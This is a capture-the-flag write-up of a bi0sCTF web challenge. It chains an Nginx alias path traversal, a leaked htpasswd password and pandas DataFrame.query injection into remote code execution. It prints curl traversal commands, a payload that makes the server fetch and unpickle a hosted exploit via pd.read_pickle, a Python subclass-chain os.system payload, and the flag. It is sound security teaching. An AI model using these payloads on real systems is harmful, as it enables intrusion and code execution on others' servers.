tl;dr
-Get the docker-entrypoint.sh using /static../docker-entrypoint.sh
-Get the challenge files using /static../panda/cgi-bin/search_currency.py
-Host your exploit and use x‘|@pd.read_pickle(‘http://0.0.0.0:6334/output.exploit')|‘ to execute the exploit
Challenge points: 887
No. of solves: 17
Challenge Description
Hope its working. Can you check?
Note: No bruteforcing is required to solve this challenge.
The source code of this challenge can be downloaded from here.
Analysis
We are provided with 2 attachments for this challenge:
- Dockerfile
- Nginx.conf
Looking into the Nginx configuration, we can find that there is a potential path traversal in the /static
endpoint. You can read more about this here.
1 | location /static { |
Upon opening the challenge, we are presented with a directory indexing.
Accessing the cgi-bin
directory requires authentication.
Inside the templates folder we have an index.html
file that discloses a filename - search_currency.py
.
Exploit
Exploiting File Read
The path traversal can be exploited with:
1 | curl http://instance.chall.bi0s.in:10846/static../etc/passwd --path-as-is |
With this, we can retrieve and inspect some known files from the server.
Gaining access to the service
On exploiting the Nginx path traversal, we can read docker-entrypoint.sh
.
docker-entrypoint.sh
is a shell script that is typically used as the entrypoint for a Docker container. The purpose of the entrypoint script is to set up the environment and perform any necessary tasks before the main command or application is run.
The script does the following:
- It moves the file
flag.txt
to a new random location. - The htpasswd command is used to create user named
admin
in the/etc/.htpasswd
file with a specified password. This is used to protect the directory. - Spawns Nginx and FCGI.
The password specified in the htpasswd command is a non-printable character.
1 | In [13]: ord('') |
We can use this to access the service.
Understanding the service
We can use the path traversal vulnerability to read the contents of search_currency.py
.
1 | curl http://instance.chall.bi0s.in:10846/static../panda/cgi-bin/search_currency.py --path-as-is |
1 | #!/usr/bin/python3 |
This script reads data from the CSV file and filters it based on a currency_code
parameter, and returns the filtered data in the form of an HTML table in the HTTP response.
Code Injection ?
Upon looking closely, we find that the currency_code
is directly passed into df.query
. This appears similar to an SQL Injection.
If we take a look at the implementation of DataFrame.query
we can see that it uses DataFrame.eval
internally. DataFrame.eval
is considered dangerous if user-controllable input is passed, as stated in the documentation.
Exploiting DataFrame.query
From the documentation, it is clear that it is possible to refer to variables in the environment by prefixing them with an ‘@’ character like @a + b
Example:
1 | In [1]: import pandas as pd |
With this, it is now possible to access any global variable, and even invoke functions.
1 | In [9]: def say_hello(): |
Escalating to RCE
There could be multiple ways of gaining an RCE at this point. Here we look into two approaches:
Using Pandas
Pandas is a huge library supporting various functions. We could directly use this to gain an RCE. One possible solution is to use pandas.read_pickle.
Example:
We prepare a pickled payload using the below code:
1 | import pickle |
The output.exploit
file can be then hosted on a server. The below payload can be used to trigger pickle deserialization on the server, thus running our exploit script.
1 | '|@pd.read_pickle('http://0.0.0.0:6334/output.exploit')|' |
1 | import sys |
Using Chains
1 | '|''.__class__.__mro__[1].__subclasses__()[127].__init__.__globals__['builtins'].exec('import os;os.system(\"ls\");')|' |
Flag
1 | bi0sCTF{9a18559a42e7302b15eeb45c09ab39d6} |